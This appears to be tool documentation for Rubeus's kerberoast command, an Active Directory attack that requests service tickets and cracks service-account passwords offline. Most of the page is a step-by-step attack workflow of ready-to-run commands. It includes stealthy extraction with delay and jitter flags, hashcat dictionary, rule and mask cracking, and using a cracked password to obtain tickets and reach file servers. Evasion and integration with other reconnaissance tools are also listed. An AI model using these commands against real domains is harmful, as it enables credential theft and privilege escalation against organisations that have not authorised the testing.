Skip to main content
Kerberoasting is one of the most effective post-compromise attacks for escalating privileges in Active Directory environments by targeting service accounts with weak passwords.

Overview

Kerberoasting attacks request service tickets for accounts with Service Principal Names (SPNs) and extract the ticket’s encrypted portion for offline password cracking. This technique exploits the fact that service tickets are encrypted with the target service account’s password hash.

Service Discovery

Identify accounts with Service Principal Names

Ticket Extraction

Request and extract encrypted service tickets

Offline Cracking

Crack extracted hashes with external tools
Kerberoasting Attack Flow

Attack Methodology

1

SPN Discovery

Identify service accounts in the domain with registered SPNs
2

Ticket Request

Request TGS tickets for target service accounts
3

Hash Extraction

Extract encrypted portion of service tickets
4

Offline Cracking

Use hashcat or John to crack the extracted hashes
5

Credential Validation

Test cracked credentials for access and privileges

Syntax Variations

  • Basic Usage
  • Advanced Targeting
  • OPSEC Mode
# Target all service accounts in domain
Rubeus.exe kerberoast

Targeting Parameters

Response Format

  • Successful Extraction
  • No Results
  • Error Scenarios
[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target SPN             : MSSQLSvc/sql01.corp.local:1433
[*] Target Name            : svc_sql
[*] Target Domain          : CORP.LOCAL
[*] Searching path 'LDAP://DC=corp,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 15

[*] SamAccountName         : svc_sql
[*] DistinguishedName      : CN=SQL Service,OU=Service Accounts,DC=corp,DC=local
[*] ServicePrincipalName   : MSSQLSvc/sql01.corp.local:1433
[*] PwdLastSet             : 1/15/2024 2:15:30 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$hash_data_here
Target Information
object
Details about the targeted service account
Hash
string
Extracted hash in specified format for cracking
Statistics
object
Summary information about the operation

Hash Format Examples

  • Hashcat Format
  • John Format
  • AES Hashes
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...
Format Components
object
Breakdown of hashcat format structure
Cracking Command:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Complete Attack Workflow

1

Initial Reconnaissance

Discover service accounts and assess the target environment:
# Get statistics about service accounts
Rubeus.exe kerberoast /stats

# Target administrative service accounts
Rubeus.exe kerberoast /ldapfilter:"admincount=1" /stats
2

OPSEC-Safe Extraction

Perform the actual kerberoasting with stealth considerations:
# OPSEC-safe kerberoasting with delays
Rubeus.exe kerberoast /opsec /delay:5000 /jitter:30 /outfile:hashes.txt

# Target specific high-value accounts
Rubeus.exe kerberoast /user:svc_sql /opsec /format:hashcat
3

Hash Processing

Prepare hashes for cracking with external tools:
# Extract hashes to file
Rubeus.exe kerberoast /outfile:hashcat_hashes.txt /format:hashcat /nowrap

# Verify hash format
head -n 5 hashcat_hashes.txt
4

Offline Cracking

Use hashcat or John the Ripper to crack the extracted hashes:
# Basic dictionary attack
hashcat -m 13100 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt

# Advanced rule-based attack
hashcat -m 13100 hashcat_hashes.txt wordlist.txt -r rules/best64.rule

# Mask attack for corporate passwords
hashcat -m 13100 hashcat_hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?s
5

Credential Validation

Test cracked credentials for access and privileges:
# Test cracked service account
Rubeus.exe asktgt /user:svc_sql /password:CrackedPassword123! /ptt

# Enumerate accessible services
Rubeus.exe asktgs /service:cifs/fileserver.corp.local

Advanced Targeting Strategies

  • High-Value Targets
  • Password Age Targeting
  • Organizational Targeting

OPSEC Considerations

Detection Risk: Kerberoasting generates TGS requests that can be monitored by security tools and may appear in domain controller logs.
  • Detection Vectors
  • Evasion Techniques
  • Defensive Countermeasures

Troubleshooting

Integration with Other Tools

BloodHound Integration

Use BloodHound to identify high-value service accounts before kerberoasting

Hashcat/John

Process extracted hashes with dedicated password cracking tools

Impacket Integration

Use GetUserSPNs.py for alternative SPN enumeration and targeting

PowerView Integration

Combine with PowerView for enhanced Active Directory reconnaissance